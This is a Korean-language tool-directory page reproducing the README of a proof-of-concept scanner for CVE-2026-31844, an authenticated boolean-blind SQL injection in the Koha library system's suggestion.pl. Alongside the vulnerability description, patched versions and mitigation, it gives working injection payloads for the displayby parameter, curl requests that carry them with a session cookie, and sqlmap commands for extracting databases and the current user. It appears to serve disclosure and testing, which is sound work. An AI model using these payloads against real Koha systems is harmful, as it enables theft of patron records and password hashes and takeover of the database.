Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31844 — # Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너 (CVE-2026-31844) 부울 기반 블라인드 기법을 사용하여 취약점을 검증하고 데이터를 추출하는 Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너입니다. | Kitploit
도구/GitHubGitHub/mothra-1/cve-2026-31844
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

# Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너 (CVE-2026-31844) 부울 기반 블라인드 기법을 사용하여 취약점을 검증하고 데이터를 추출하는 Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너입니다.

저장소 보기
115개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Koha CVE-2026-31844: 인증된 SQL 인젝션

Release Python 3.6+ CVE ID License

개요

이 저장소는 Koha 도서관 관리 시스템의 높은 심각도의 인증된 SQL 인젝션 취약점인 CVE-2026-31844에 대한 책임 있는 취약점 PoC를 포함합니다.

이 취약점은 /cgi-bin/koha/suggestion/suggestion.pl 스크립트에서 호출되는 C4/Search.pm의 GetDistinctValues 함수에 존재합니다. displayby 매개변수를 통해 악용될 수 있습니다.

  • Koha 버그: #41593
  • 수정 버전: 26.05.00, 25.11.01, 25.05.07, 24.11.12

취약점 세부 정보

suggestion.pl 스크립트의 displayby 매개변수는 테이블 한정 열 이름을 구성하는 데 사용되며, 이후 GetDistinctValues 함수에 전달됩니다. 그러나 이 함수는 입력 검증이나 매개변수화를 수행하지 않고 테이블 이름과 열 이름을 직접 원시 SQL 쿼리에 포함시킵니다. 그 결과, 공격자는 displayby 매개변수를 조작하여 악성 SQL 코드를 쿼리에 주입할 수 있습니다. 입력이 SQL 문에 포함되기 전에 검증되지 않으므로, 이 동작은 SQL 인젝션 취약점을 유발하며, 공격자가 데이터베이스에서 임의의 Boolean-Based Blind 기법 SQL 명령을 실행할 수 있게 합니다.

root@kitploit:~
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

발견자

Raximov Shukrulloh (Mothra)

여기서 대상 스캔 가능

스캐너는 취약점을 확인하기 위해 Boolean-Based Blind 기법을 사용합니다.

열 이름 위치에 조건문을 주입하여 차등 HTTP 응답을 관찰할 수 있습니다:

  • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → 하위 쿼리 오류 → HTTP 500
  • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → 유효한 쿼리 → HTTP 200

대상이 참 조건에서 500을, 거짓 조건에서 200을 반환하면 취약점이 확인됩니다.

설치 및 사용법

1. 저장소 클론

root@kitploit:~
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

2. 요구 사항 설치

root@kitploit:~
pip3 install requests

3. 스캐너 실행

suggestions 권한이 있는 Koha 직원 계정의 유효한 자격 증명을 제공해야 합니다.

root@kitploit:~
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

자체 서명된 SSL 인증서를 사용하는 대상의 경우:

root@kitploit:~
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

4. 출력 예시

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

수동 PoC (Proof of Concept)

curl을 통해 취약점을 수동으로 확인할 수 있습니다. 먼저 Koha 직원 인터페이스에 인증하고 CGISESSID 쿠키를 캡처하세요.

참 조건 (HTTP 500 반환):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

거짓 조건 (HTTP 200 반환):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

5. SQLMap을 통한 악용

SQLMap은 boolean-based blind 인젝션을 기본적으로 지원합니다. 데이터 추출을 자동화하려면 유효한 인증 HTTP 요청을 request.txt에 저장하세요. csrf_token 및 CGISESSID 쿠키를 유효하게 유지하세요.

request.txt 예시:

root@kitploit:~
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

boolean 기법(--technique=B)으로 SQLMap 실행:

root@kitploit:~
# 기본 데이터베이스 추출
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# 현재 사용자 추출
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

또는 명령줄에서 직접 실행:

root@kitploit:~
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db

잠시 후 sqlmap이 올바른 페이로드를 식별합니다.

영향

패치되지 않은 상태로 방치될 경우, 이 취약점은 인증된 공격자가 다음을 수행할 수 있게 합니다:

  1. 민감한 정보 추출 (이용자 기록, 비밀번호 해시)
  2. 데이터베이스 스키마 열거
  3. 백엔드 데이터베이스 완전 장악

완화 조치

이 취약점에 대한 수정이 포함된 Koha 버전 24.11.12, 25.05.07, 25.11.01 또는 26.05.00 (이후 버전 포함)으로 업데이트하세요.

크레딧

Raximov Shukrulloh (Mothra)

연락처

Telegram 봇 @MothraContact_bot

윤리적 고려 사항

이 PoC는 교육 및 방어 목적으로만 제공됩니다. 시스템의 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.

면책 조항

저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 이 PoC는 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용해야 합니다.

도구 다운로드